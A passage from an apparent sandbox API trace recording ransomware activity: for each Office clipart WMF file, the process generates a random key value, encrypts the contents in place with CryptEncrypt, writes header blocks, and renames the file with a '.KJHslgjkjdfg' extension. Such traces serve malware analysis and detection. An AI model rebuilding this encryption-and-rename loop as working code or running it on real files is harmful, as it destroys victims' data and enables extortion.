lpNewFilePointer=0x0) returned 1 [0182.431] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xfe2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xfe2, lpOverlapped=0x0) returned 1 [0182.431] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xff0, dwBufLen=0xff0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xff0) returned 1 [0182.431] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.432] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xff0, lpOverlapped=0x0) returned 1 [0182.432] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.432] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.432] SetEndOfFile (hFile=0x130) returned 1 [0182.433] GetProcessHeap () returned 0x990000 [0182.433] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.433] GetProcessHeap () returned 0x990000 [0182.433] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.433] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.kjhslgjkjdfg")) returned 1 [0182.440] CloseHandle (hObject=0x130) returned 1 [0182.440] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD08758_.WMF", cAlternateFileName="")) returned 1 [0182.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.441] GetProcessHeap () returned 0x990000 [0182.441] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.441] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.441] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.441] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.441] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.441] GetProcessHeap () returned 0x990000 [0182.441] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.441] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.441] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.442] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.444] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.444] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.444] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.445] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.445] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.445] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.445] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.445] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5f00, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5f00, lpOverlapped=0x0) returned 1 [0182.446] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5f00, dwBufLen=0x5f00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5f00) returned 1 [0182.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.447] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5f00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5f00, lpOverlapped=0x0) returned 1 [0182.447] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5fd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.447] SetEndOfFile (hFile=0x130) returned 1 [0182.450] GetProcessHeap () returned 0x990000 [0182.450] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.450] GetProcessHeap () returned 0x990000 [0182.450] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.450] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.kjhslgjkjdfg")) returned 1 [0182.456] CloseHandle (hObject=0x130) returned 1 [0182.456] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD08773_.WMF", cAlternateFileName="")) returned 1 [0182.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.457] GetProcessHeap () returned 0x990000 [0182.457] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.457] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.457] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.457] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0182.460] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.460] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.460] GetProcessHeap () returned 0x990000 [0182.460] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.460] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.460] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.460] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.460] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.460] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.461] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.461] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.461] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.461] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.461] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.461] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.461] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x60ca, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x60ca, lpOverlapped=0x0) returned 1 [0182.463] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x60d0, dwBufLen=0x60d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x60d0) returned 1 [0182.463] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.463] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x60d0, lpOverlapped=0x0) returned 1 [0182.464] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.464] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x61a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.464] SetEndOfFile (hFile=0x130) returned 1 [0182.467] GetProcessHeap () returned 0x990000 [0182.467] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.467] GetProcessHeap () returned 0x990000 [0182.467] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.467] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.kjhslgjkjdfg")) returned 1 [0182.472] CloseHandle (hObject=0x130) returned 1 [0182.473] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD08808_.WMF", cAlternateFileName="")) returned 1 [0182.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.474] GetProcessHeap () returned 0x990000 [0182.474] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.474] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.474] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.474] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.550] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.550] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.550] GetProcessHeap () returned 0x990000 [0182.550] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.550] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.550] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.550] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.550] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.550] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.551] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.551] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.551] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.551] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.551] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.551] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.551] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbb7c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xbb7c, lpOverlapped=0x0) returned 1 [0182.560] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbb80, dwBufLen=0xbb80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbb80) returned 1 [0182.561] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.561] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xbb80, lpOverlapped=0x0) returned 1 [0182.561] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.561] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbc54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.561] SetEndOfFile (hFile=0x130) returned 1 [0182.565] GetProcessHeap () returned 0x990000 [0182.565] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.565] GetProcessHeap () returned 0x990000 [0182.565] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.565] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.kjhslgjkjdfg")) returned 1 [0182.572] CloseHandle (hObject=0x130) returned 1 [0182.572] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD08868_.WMF", cAlternateFileName="")) returned 1 [0182.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.573] GetProcessHeap () returned 0x990000 [0182.573] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.573] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.573] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.574] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0182.578] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.578] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.579] GetProcessHeap () returned 0x990000 [0182.579] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.579] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.579] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.579] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.579] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.579] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.579] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.579] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.579] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.579] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.579] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.580] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.580] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9d0e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9d0e, lpOverlapped=0x0) returned 1 [0182.615] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9d10, dwBufLen=0x9d10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9d10) returned 1 [0182.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.615] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9d10, lpOverlapped=0x0) returned 1 [0182.615] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9de4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.615] SetEndOfFile (hFile=0x130) returned 1 [0182.617] GetProcessHeap () returned 0x990000 [0182.617] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.617] GetProcessHeap () returned 0x990000 [0182.617] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.618] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.KJHslgjkjdfg" (normalized: 